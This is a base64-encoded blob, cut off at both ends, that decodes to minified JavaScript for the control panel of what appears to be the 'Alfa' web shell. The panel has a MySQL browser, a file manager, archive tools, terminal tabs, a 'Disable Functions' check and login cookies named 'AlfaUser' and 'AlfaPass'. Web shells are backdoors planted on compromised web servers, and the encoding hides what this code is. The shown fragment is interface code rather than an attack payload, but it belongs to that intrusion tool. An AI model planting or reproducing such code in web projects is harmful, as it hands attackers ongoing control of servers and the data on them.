xzKWErPSI8b3B0aW9uIisodFtsXS52YWxzW3JdIT1lfHxpPyIiOiIgc2VsZWN0ZWQiKSsiPiIrdFtsXS52YWxzW3JdKyI8L29wdGlvbj4iLHRbbF0udmFsc1tyXT09ZSYmKGk9ITApO2ErPSI8L29wdGdyb3VwPiJ9ZWxzZSBhKz0iPG9wdGlvbiIrKHRbbF0hPWV8fGk/IiI6IiBzZWxlY3RlZCIpKyI+Iit0W2xdKyI8L29wdGlvbj4iLHRbbF09PWUmJihpPSEwKTtyZXR1cm4gYX1mdW5jdGlvbiBhbGZhTXlzcWxDaGFuZ2VQYWdlKGUsdCl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT0wO2lmKHZvaWQgMCE9PXQpe2U9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgc2VsZWN0W25hbWU9bXlzcWwtcS1wYWdlc10iKTt2YXIgbD1wYXJzZUludChlLmdldEF0dHJpYnV0ZSgicGFnZXMiKSk7aWYoaT1wYXJzZUludChlLnZhbHVlKSwxPT10Py0taTorK2ksMD09aXx8bDxpKXJldHVybiExO2UudmFsdWU9aX1lbHNlIGk9ZS52YWx1ZTt2YXIgcj1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0Iiksbz1lLmdldEF0dHJpYnV0ZSgidGJsX25hbWUiKTthbGZhTXlzcWxBcGkoe2RiX2lkOmEsZGJfdGFyZ2V0OnIsYWpheF9pZDoibXlzcWxfdGFibGVfY2hhbmdlX3BhZ2UiLGRiX2luZm86e3RhYmxlOm8scGFnZTppfSxwb3N0OnthbGZhMjoicGFnZSJ9fSxmdW5jdGlvbihlKXswIT1lLmxlbmd0aCYmKGU9SlNPTi5wYXJzZShlKSxhbGZhTXlzcWxSZXBvcnRCdWlsZGVyKGEsZSksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXF1ZXJ5LXRhYmxlIikuaW5uZXJIVE1MPWUudGFibGUpfSl9ZnVuY3Rpb24gYWxmYVJlbW92ZUNvb2tpZShlKXtkb2N1bWVudC5jb29raWU9ZSsiPTtNYXgtQWdlPTA7IHBhdGg9LzsifWZ1bmN0aW9uIGFsZmFMb2dPdXQoKXthbGZhUmVtb3ZlQ29va2llKCJBbGZhVXNlciIpLGFsZmFSZW1vdmVDb29raWUoIkFsZmFQYXNzIiksbG9jYXRpb24ucmVsb2FkKCl9dmFyIGFsZmFBbGVydEJveD1mdW5jdGlvbihlLHQpe3RoaXMudHlwZXM9e3N1Y2Nlc3M6e2NsYXNzOiJhbGVydC1zdWNjZXNzIixpY29uOiJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvY2hlY2stbWFyazEuc3ZnIn0sZXJyb3I6e2NsYXNzOiJhbGVydC1lcnJvciIsaWNvbjoiaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L3dhcm5pbmcuc3ZnIn19LHRoaXMuc2hvdz1mdW5jdGlvbihhKXtpZigiIj09PWF8fG51bGw9PWEpdGhyb3cnIm1zZyBwYXJhbWV0ZXIgaXMgZW1wdHkiJzt2YXIgaT1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKGUpLGw9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiRElWIikscj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJESVYiKSxvPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIkRJViIpLG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiQSIpLHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2IiksYz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJJTUciKSxkPXRoaXM7aWYocy5zdHlsZS5kaXNwbGF5PSJpbmxpbmUtYmxvY2siLHMuc3R5bGUubWFyZ2luUmlnaHQ9IjEwcHgiLHIuc3R5bGUuZGlzcGxheT0iaW5saW5lLWJsb2NrIixvLmNsYXNzTGlzdC5hZGQoImFsZXJ0LWNvbnRlbnQiKSxvLmlubmVyVGV4dD1hLG4uY2xhc3NMaXN0LmFkZCgiYWxlcnQtY2xvc2UiKSxuLnNldEF0dHJpYnV0ZSgiaHJlZiIsIiMiKSxsLmNsYXNzTGlzdC5hZGQoImFsZXJ0LWJveCIpLGMuc3JjPXRoaXMudHlwZXNbdC50eXBlXS5pY29uLGMuc3R5bGUud2lkdGg9IjMwcHgiLHMuYXBwZW5kQ2hpbGQoYyksbC5hcHBlbmRDaGlsZChzKSx0Lmhhc093blByb3BlcnR5KCJ0aXRsZSIpKXt2YXIgdT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJESVYiKTt1LmNsYXNzTGlzdC5hZGQoImFsZXJ0LWNvbnRlbnQtdGl0bGUiKSx1LmlubmVyVGV4dD10LnRpdGxlLHIuYXBwZW5kQ2hpbGQodSl9aWYoci5hcHBlbmRDaGlsZChvKSxsLmFwcGVuZENoaWxkKHIpLHQuaGlkZUNsb3NlQnV0dG9uJiZ2b2lkIDAhPT10LmhpZGVDbG9zZUJ1dHRvbnx8bC5hcHBlbmRDaGlsZChuKSx0Lmhhc093blByb3BlcnR5KCJ0eXBlIikmJmwuY2xhc3NMaXN0LmFkZCh0aGlzLnR5cGVzW3QudHlwZV0uY2xhc3MpLGkuYXBwZW5kQ2hpbGQobCksbi5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsZnVuY3Rpb24oZSl7ZS5wcmV2ZW50RGVmYXVsdCgpLGQuaGlkZShsKX0pLCF0LnBlcnNpc3RlbnQpdmFyIHA9c2V0VGltZW91dChmdW5jdGlvbigpe2QuaGlkZShsKSxjbGVhclRpbWVvdXQocCl9LHQuY2xvc2VUaW1lKX0sdGhpcy5oaWRlPWZ1bmN0aW9uKGUpe2UuY2xhc3NMaXN0LmFkZCgiaGlkZSIpO3ZhciB0PXNldFRpbWVvdXQoZnVuY3Rpb24oKXtlLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoZSksY2xlYXJUaW1lb3V0KHQpfSw1MDApfX07ZnVuY3Rpb24gYWxmYVNob3dOb3RpZmljYXRpb24oZSx0LGEsaSxsKXt2b2lkIDA9PT1hJiYoYT0ic3VjY2VzcyIpLHZvaWQgMD09PWkmJihpPSExKSx2b2lkIDA9PT1sJiYobD0xZTQpO3ZhciByPXtjbG9zZVRpbWU6bCxwZXJzaXN0ZW50OmksdHlwZTphLGhpZGVDbG9zZUJ1dHRvbjohMX07dm9pZCAwIT09dCYmKHIudGl0bGU9dCksbmV3IGFsZmFBbGVydEJveCgiI2FsZXJ0LWFyZWEiLHIpLnNob3coZSl9ZnVuY3Rpb24gYWxmYVN5bmNNZW51VG9PcHQoZSx0KXt2YXIgYT0iIixpPSIiLGw9bnVsbDt2b2lkIDAhPT10PyhhPSJ2aWV3X2FyY2hpdmUiLGk9ZSxsPWxvY2F0aW9uKTooYT1lLm5hbWUsaT1lLmdldEF0dHJpYnV0ZSgiZm5hbWUiKSxsPWUpLCJleHRyYWN0Ij09YT8oYWxmYV9jYW5fYWRkX29wdD0hMCxsLmhyZWY9IiNhY3Rpb249b3B0aW9ucyZwYXRoPSIrY18rIiZvcHQ9ZGV6aXBlciIsZygiZGV6aXBlciIsbnVsbCwiIiwiIixjXysiLyIraSksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJEZUNvbXByZXNzb3IiKToiY29tcHJlc3MiPT1hPyhhbGZhX2Nhbl9hZGRfb3B0PSEwLGwuaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9IitjXysiJm9wdD16aXBlciIsZygiemlwZXIiLG51bGwsIiIsIiIsY18rIi8iK2kpLGQucXVlcnlTZWxlY3RvcigiLm9wdC10aXRsZSIpLmlubmVySFRNTD0iQ29tcHJlc3NvciIpOiJ2aWV3X2FyY2hpdmUiPT1hJiYoYWxmYV9jYW5fYWRkX29wdD0hMCxsLmhyZWY9IiNhY3Rpb249b3B0aW9ucyZwYXRoPSIrY18rIiZvcHQ9YXJjaGl2ZV9tYW5hZ2VyIixnKCJhcmNoaXZlX21hbmFnZXIiLG51bGwsIiIsY18rIi8iK2ksIiIpLGQucXVlcnlTZWxlY3RvcigiLm9wdC10aXRsZSIpLmlubmVySFRNTD0iQXJjaGl2ZSBNYW5hZ2VyIil9ZnVuY3Rpb24gZG9GaWx0ZXJOYW1lKGUpe3ZhciB0PSIjZmlsZXNtYW5faG9sZGVyXyIrYWxmYV9jdXJyZW50X2ZtX2lkO3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgYT1uZXcgUmVnRXhwKGUudmFsdWUsImkiKTtkLnF1ZXJ5U2VsZWN0b3JBbGwodCsiIC5mbWFuYWdlci1yb3ciKS5mb3JFYWNoKGZ1bmN0aW9uKGUpey0xPT1lLnF1ZXJ5U2VsZWN0b3IoIi5tYWluX25hbWUiKS5nZXRBdHRyaWJ1dGUoImZuYW1lIikuc2VhcmNoKGEpP2Uuc3R5bGUuZGlzcGxheT0ibm9uZSI6ZS5zdHlsZS5kaXNwbGF5PSJ0YWJsZS1yb3cifSl9LDEwMCl9ZnVuY3Rpb24gc29ydEJ5U2VsZWN0ZWRWYWx1ZShlLHQpe3NldENvb2tpZSh0LGUub3B0aW9uc1tlLnNlbGVjdGVkSW5kZXhdLnZhbHVlLDIwMTIpLGcoIkZpbGVzTWFuIixjXyl9ZnVuY3Rpb24gbG9hZFBvcFVwRGF0YWJhc2UoZSx0LGEpe2lmKGNvbnNvbGUubG9nKHQpLCQoImRhdGFiYXNlX3dpbmRvdyIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIix2b2lkIDA9PT10KXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIuc3FsLWNvbnRlbnQuc3FsLWFjdGl2ZS1jb250ZW50IikuY2xhc3NMaXN0LnJlbW92ZSgic3FsLWFjdGl2ZS1jb250ZW50Iil9Y2F0Y2goZSl7fXRyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5zcWwtdGFibmFtZS5zcWwtYWN0aXZlLXRhYiIpLmNsYXNzTGlzdC5yZW1vdmUoInNxbC1hY3RpdmUtdGFiIil9Y2F0Y2goZSl7fXRyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5zcWwtdGFicyAuc3FsLW5ld3RhYiIpLnJlbW92ZSgpfWNhdGNoKGUpe312YXIgaT0iaWRfZGJfIitnZXRSYW5kb20oMTApO2QucXVlcnlTZWxlY3RvcigiI2RhdGFiYXNlX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAuc3FsLWNvbnRlbnRzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwnPGRpdiBpZD0iJytpKyciIGNsYXNzPSJzcWwtY29udGVudCBzcWwtYWN0aXZlLWNvbnRlbnQiPicrZSsiPC9kaXY+IiksZC5xdWVyeVNlbGVjdG9yKCIjZGF0YWJhc2Vfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5zcWwtdGFicyIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwnPGRpdiBpZD0idGFiXycraSsnIiBvcHRfaWQ9IicraSsnIiBjbGFzcz0ic3FsLXRhYm5hbWUgc3FsLWFjdGl2ZS10YWIiIG9uY2xpY2s9ImRiVGFiQ29udHJvbGxlcih0aGlzKTsiPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiPk5ldyBEQiBDb25uZWN0aW9uPC9zcGFuPiA8aW1nIG9wdF9pZD0iJytpKyciIG9uY2xpY2s9ImNsb3NlRGF0YWJhc2UodGhpcyxldmVudCk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IltjbG9zZV0iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmciPjwvZGl2PjxkaXYgY2xhc3M9InNxbC1uZXd0YWIiIG9uY2xpY2s9ImFsZmFfY2FuX2FkZF9vcHQ9dHJ1ZTtnKFwnc3FsXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojODAwMDAwOyI+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyI+TmV3IFRhYiArPC9zcGFuPjwvZGl2PicpLCQoaSkucXVlcnlTZWxlY3RvckFsbCgiLmRiLW9wdC1pZCIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5zZXRBdHRyaWJ1dGUoImRiX2lkIixpKX0pO3RyeXskKGkpLnF1ZXJ5U2VsZWN0b3IoIi5nZXRjb25maWciKS5zZXRBdHRyaWJ1dGUoImJhc2VfaWQiLGkpfWNhdGNoKGUpe31yZXR1cm4gaX0kKHQpLmlubmVySFRNTD1lO3ZhciBsPSQoInRhYl8iK3QpO251bGwhPWwmJigoLTE9PWwuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoInNxbC1hY3RpdmUtdGFiIil8fGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQpJiYobC5jbGFzc0xpc3QuYWRkKCJ0YWItaXMtZG9uZSIpLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJwcm9jY2VzcyBpcyBkb25lLi4uIiwiREI6ICIrbC5pbm5lclRleHQpKSxkYXRhYmFzZV93aW5kb3dfaXNfbWluaW1pemVkJiZhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKCJkYXRhYmFzZV93aW5kb3ciKSksdm9pZCAwIT09bXlzcWxfY2FjaGVbdF0mJm15c3FsX2NhY2hlW3RdLmhhc093blByb3BlcnR5KCJkYiIpJiZteXNxbF9jYWNoZVt0XS5kYi5sZW5ndGg+MCYmInVwZGF0ZSIhPWEmJihkLnF1ZXJ5U2VsZWN0b3IoIiN0YWJfIit0KyI+c3BhbiIpLmlubmVySFRNTD1teXNxbF9jYWNoZVt0XS5kYiksJCh0KS5xdWVyeVNlbGVjdG9yQWxsKCIuZGItb3B0LWlkIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLnNldEF0dHJpYnV0ZSgiZGJfaWQiLHQpfSk7dHJ5eyQodCkucXVlcnlTZWxlY3RvcigiLmdldGNvbmZpZyIpLnNldEF0dHJpYnV0ZSgiYmFzZV9pZCIsdCl9Y2F0Y2goZSl7fWRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWR8fChkLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiIpfWZ1bmN0aW9uIGxvYWRQb3BVcE9wVGlvbnMoZSx0KXtjb25zb2xlLmxvZyhlKSxhbGZhX2JlZm9yZV9kb19hY3Rpb25faWQ9IiIsJCgib3B0aW9uc193aW5kb3ciKS5zdHlsZS5kaXNwbGF5PSJibG9jayI7dmFyIGE9JCgib3B0aW9uXyIrZSk7aWYoYWxmYV9jYW5fYWRkX29wdCl7YWxmYV9jYW5fYWRkX29wdD0hMTt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc19ob2xkZXIub3B0aW9uX2lzX2FjdGl2ZSIpLmNsYXNzTGlzdC5yZW1vdmUoIm9wdGlvbl9pc19hY3RpdmUiKX1jYXRjaChlKXt9dmFyIGk9IiIsbD0kKCJtZW51X29wdF8iK2UpLmlubmVySFRNTDsibWFya2V0Ij09ZT9sPSJBbGZhIE1hcmtldCI6IkdldERpc0Z1bmMiPT1lJiYobD0iRGlzYWJsZSBGdW5jdGlvbnMiKTt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIC50YWJfbmFtZS50YWJfaXNfYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgidGFiX2lzX2FjdGl2ZSIpfWNhdGNoKGUpe31pZihudWxsIT1hKXt2YXIgcj1hLmdldEF0dHJpYnV0ZSgib3B0X2NvdW50Iik7bnVsbCE9cj8oaT1wYXJzZUludChyKSsxLGEuc2V0QXR0cmlidXRlKCJvcHRfY291bnQiLGkpKTooaT0xLGEuc2V0QXR0cmlidXRlKCJvcHRfY291bnQiLGkpKX12YXIgbz0ib3B0aW9uXyIrZStpO2QucXVlcnlTZWxlY3RvcigiI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX2NvbnRlbnQiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8ZGl2IGlkPSInK28rJyIgY2xhc3M9Im9wdGlvbnNfaG9sZGVyIj4nK3QrIjwvZGl2PiIpLGQucXVlcnlTZWxlY3RvcigiI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwnPGRpdiBvcHRfaWQ9IicrbysnIiBvbmNsaWNrPSJvcHRpb25zVGFiQ29udHJvbGxlcih0aGlzKTsiIHRpdGxlPSInK2wrJyIgaWQ9InRhYl8nK28rJyIgY2xhc3M9InRhYl9uYW1lIHRhYl9pc19hY3RpdmUiPicrbCsnIDxpbWcgb3B0X2lkPSInK28rJyIgb25jbGljaz0iY2xvc2VPcHRpb24odGhpcyxldmVudCk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IltjbG9zZV0iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmciPjwvZGl2PicpLCQobykuY2xhc3NMaXN0LnRvZ2dsZSgib3B0aW9uX2lzX2FjdGl2ZSIpLGQucXVlcnlTZWxlY3RvckFsbCgiIyIrbysiIGZvcm0sICMiK28rIiBhIikuZm9yRWFjaChmdW5jdGlvbih0KXt2YXIgYT10LmNsYXNzTGlzdC52YWx1ZTtpZigiZ2V0Y29uZmlnIj09YXx8InJlamVjdG1lIj09YSlyZXR1cm4hMTtpZigiRk9STSI9PXQudGFnTmFtZSl7dmFyIGw9dC5nZXRBdHRyaWJ1dGUoIm9uc3VibWl0Iik7dC5zZXRBdHRyaWJ1dGUoIm9uc3VibWl0IiwnYWxmYUJlZm9yZURvQWN0aW9uKCInK2UraSsnIik7JytsKSx0LnNldEF0dHJpYnV0ZSgib3B0X2lkIixlK2kpfWVsc2V7bD10LmdldEF0dHJpYnV0ZSgib25jbGljayIpO3Quc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwnYWxmYUJlZm9yZURvQWN0aW9uKCInK2UraSsnIik7JytsKX19KTt0cnl7JChvKS5xdWVyeVNlbGVjdG9yKCIuZ2V0Y29uZmlnIikuc2V0QXR0cmlidXRlKCJiYXNlX2lkIixlK2kpfWNhdGNoKGUpe31yZXR1cm4gZStpfWEuaW5uZXJIVE1MPXQ7dmFyIG49JCgidGFiX29wdGlvbl8iK2UpO251bGwhPW4mJigoLTE9PW4uY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoInRhYl9pc19hY3RpdmUiKXx8b3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkKSYmKG4uY2xhc3NMaXN0LmFkZCgidGFiLWlzLWRvbmUiKSxhbGZhU2hvd05vdGlmaWNhdGlvbigicHJvY2Nlc3MgaXMgZG9uZS4uLiIsbi5pbm5lclRleHQpKSxvcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWQmJmFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoIm9wdGlvbnNfd2luZG93IikpLGQucXVlcnlTZWxlY3RvckFsbCgiI29wdGlvbl8iK2UrIiBmb3JtLCAjb3B0aW9uXyIrZSsiIGEiKS5mb3JFYWNoKGZ1bmN0aW9uKHQpe3ZhciBhPXQuY2xhc3NMaXN0LnZhbHVlO2lmKCJnZXRjb25maWciPT1hfHwicmVqZWN0bWUiPT1hKXJldHVybiExO2lmKCJGT1JNIj09dC50YWdOYW1lKXt2YXIgaT10LmdldEF0dHJpYnV0ZSgib25zdWJtaXQiKTt0LnNldEF0dHJpYnV0ZSgib25zdWJtaXQiLCdhbGZhQmVmb3JlRG9BY3Rpb24oIicrZSsnIik7JytpKSx0LnNldEF0dHJpYnV0ZSgib3B0X2lkIixlKX1lbHNle2k9dC5nZXRBdHRyaWJ1dGUoIm9uY2xpY2siKTt0LnNldEF0dHJpYnV0ZSgib25jbGljayIsJ2FsZmFCZWZvcmVEb0FjdGlvbigiJytlKyciKTsnK2kpfX0pO3RyeXthLnF1ZXJ5U2VsZWN0b3IoIi5nZXRjb25maWciKS5zZXRBdHRyaWJ1dGUoImJhc2VfaWQiLGUpfWNhdGNoKGUpe31vcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWR8fChkLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiIpfWZ1bmN0aW9uIGFsZmFCZWZvcmVEb0FjdGlvbihlKXthbGZhX2JlZm9yZV9kb19hY3Rpb25faWQ9ZX1mdW5jdGlvbiBhbGZhTG9hZGVyT25Ub3AoZSl7JCgiYV9sb2FkZXIiKS5zdHlsZS5kaXNwbGF5PWUsZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJibG9jayI9PWU/ImhpZGRlbiI6InZpc2libGUifWZ1bmN0aW9uIGFsZmFBamF4Q29udHJvbGxlcihlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgicGFyZW50Iik7JCgibG9hZGVyXyIrdCkucmVtb3ZlKCksImZpbGVzbWFuX2hvbGRlciI9PXQuc3Vic3RyKDAsMTUpJiYoJCh0KS5zdHlsZS5taW5IZWlnaHQ9IjAiKSxfQUxGQV9BSkFYXy5oYXNPd25Qcm9wZXJ0eSh0KSYmX0FMRkFfQUpBWF9bdF0uYWJvcnQoKX1mdW5jdGlvbiBjbG9zZURhdGFiYXNlKGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKTt2YXIgYT1lLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7aWYoJChhKS5yZW1vdmUoKSwtMSE9JCgidGFiXyIrYSkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoInNxbC1hY3RpdmUtdGFiIikpaWYoKGU9ZC5xdWVyeVNlbGVjdG9yQWxsKCIuc3FsLXRhYnMgLnNxbC10YWJuYW1lIikpLmxlbmd0aD4xKXtlWzBdLmNsYXNzTGlzdC5hZGQoInNxbC1hY3RpdmUtdGFiIik7dmFyIGk9ZVswXS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpO251bGwhPSQoaSkmJiQoaSkuY2xhc3NMaXN0LnRvZ2dsZSgic3FsLWFjdGl2ZS1jb250ZW50Iil9ZWxzZSBlZGl0b3JDbG9zZSgiZGF0YWJhc2Vfd2luZG93Iik7ZC5xdWVyeVNlbGVjdG9yKCJkaXZbb3B0X2lkPSIrYSsiXSIpLnJlbW92ZSgpfWZ1bmN0aW9uIGNsb3NlRm1UYWIoZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJmbV9pZCIpLGk9JCgiZmlsZXNtYW5fdGFiXyIrYSk7aWYoLTEhPWkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImZpbGVzbWFuLXRhYi1hY3RpdmUiKSYmKGU9ZC5xdWVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5fdGFicyAuZmlsZXNtYW5fdGFiIikpLmxlbmd0aD4xKXtlWzBdLmNsYXNzTGlzdC5hZGQoImZpbGVzbWFuLXRhYi1hY3RpdmUiKTt2YXIgbD1lWzBdLmdldEF0dHJpYnV0ZSgiZm1faWQiKSxyPSJmaWxlc21hbl9ob2xkZXJfIitsO2lmKG51bGwhPSQocikpeyQocikuY2xhc3NMaXN0LnRvZ2dsZSgiZmlsZXNtYW4tYWN0aXZlLWNvbnRlbnQiKTt2YXIgbz0kKCJmaWxlc21hbl90YWJfIitsKS5nZXRBdHRyaWJ1dGUoInBhdGgiKTtpbml0RGlyKG8pLGQubWYuYy52YWx1ZT1vLGFsZmFfY3VycmVudF9mbV9pZD1sfX1pLnJlbW92ZSgpLCQoImZpbGVzbWFuX2hvbGRlcl8iK2EpLnJlbW92ZSgpLGFsZmFGaWxlc21hblRhYkhpZGVUaXRsZSgpfWZ1bmN0aW9uIGNsb3NlT3B0aW9uKGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKTt2YXIgYT1lLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7aWYoJChhKS5yZW1vdmUoKSwtMSE9JCgidGFiXyIrYSkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoInRhYl9pc19hY3RpdmUiKSlpZigoZT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIi5vcHRpb25zX3RhYiAudGFiX25hbWUiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgidGFiX2lzX2FjdGl2ZSIpO3ZhciBpPWVbMF0uZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtudWxsIT0kKGkpJiYkKGkpLmNsYXNzTGlzdC50b2dnbGUoIm9wdGlvbl9pc19hY3RpdmUiKX1lbHNlIGVkaXRvckNsb3NlKCJvcHRpb25zX3dpbmRvdyIpO2QucXVlcnlTZWxlY3RvcigiZGl2W29wdF9pZD0iK2ErIl0iKS5yZW1vdmUoKX1mdW5jdGlvbiBoaXN0b3J5UGFuZWxDb250cm9sbGVyKGUpeyJoaWRkZW4iPT1lLmdldEF0dHJpYnV0ZSgibW9kZSIpPyhkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItZXhwbG9yZXIiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLW1vZGFsIikuc3R5bGUubWFyZ2luTGVmdD0iMjAlIixlLnNldEF0dHJpYnV0ZSgibW9kZSIsInZpc2libGUiKSxlLnN0eWxlLmxlZnQ9IjE5JSIsZS5pbm5lckhUTUw9Ijw8Iik6KGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1leHBsb3JlciIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiLGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1tb2RhbCIpLnN0eWxlLm1hcmdpbkxlZnQ9IjElIixlLnNldEF0dHJpYnV0ZSgibW9kZSIsImhpZGRlbiIpLGUuc3R5bGUubGVmdD0iMCUiLGUuaW5uZXJIVE1MPSI+PiIpfWZ1bmN0aW9uIGNsb3NlVGVybWluYWxDb250ZW50KGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKTt2YXIgYT1lLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO2lmKCgkKGEpLnJlbW92ZSgpLC0xIT0kKCJ0YWJfIithKS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiYWN0aXZlLXRlcm1pbmFsLXRhYiIpKSYmKGU9ZC5xdWVyeVNlbGVjdG9yQWxsKCIudGVybWluYWwtdGFicyAudGVybWluYWwtdGFiIikpLmxlbmd0aD4xKXtlWzBdLmNsYXNzTGlzdC5hZGQoImFjdGl2ZS10ZXJtaW5hbC10YWIiKTt2YXIgaT1lWzBdLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO251bGwhPSQoaSkmJiQoaSkuY2xhc3NMaXN0LnRvZ2dsZSgiYWN0aXZlLXRlcm1pbmFsLWNvbnRlbnQiKX1kLnF1ZXJ5U2VsZWN0b3IoImRpdlt0ZXJtX2lkPSIrYSsiXSIpLnJlbW92ZSgpfWZ1bmN0aW9uIGNsb3NlRWRpdG9yQ29udGVudChlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpO2lmKCgkKGEpLnJlbW92ZSgpLC0xIT0kKCJ0YWJfIithKS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiZWRpdG9yLXRhYi1hY3RpdmUiKSkmJihlPWQucXVlcnlTZWxlY3RvckFsbCgiLmVkaXRvci10YWJzIC5lZGl0b3ItdGFiLW5hbWUiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgiZWRpdG9yLXRhYi1hY3RpdmUiKTt2YXIgaT1lWzBdLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7bnVsbCE9JChpKSYmJChpKS5jbGFzc0xpc3QudG9nZ2xlKCJlZGl0b3ItY29udGVudC1hY3RpdmUiKX1kLnF1ZXJ5U2VsZWN0b3IoImRpdltvcHRfaWQ9IithKyJdIikucmVtb3ZlKCl9ZnVuY3Rpb24gb3B0aW9uc1RhYkNvbnRyb2xsZXIoZSl7dHJ5e2QucXVlcnlTZWxlY3RvcigiLm9wdGlvbnNfaG9sZGVyLm9wdGlvbl9pc19hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJvcHRpb25faXNfYWN0aXZlIil9Y2F0Y2goZSl7fXZhciB0PWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtpZihudWxsPT10KXJldHVybiExOyQodCkuY2xhc3NMaXN0LnRvZ2dsZSgib3B0aW9uX2lzX2FjdGl2ZSIpO3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIiNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgXHQudGFiX25hbWUudGFiX2lzX2FjdGl2ZSIpLmNsYXNzTGlzdC5yZW1vdmUoInRhYl9pc19hY3RpdmUiKX1jYXRjaChlKXt9ZS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpLGUuY2xhc3NMaXN0LmFkZCgidGFiX2lzX2FjdGl2ZSIpLGQucXVlcnlTZ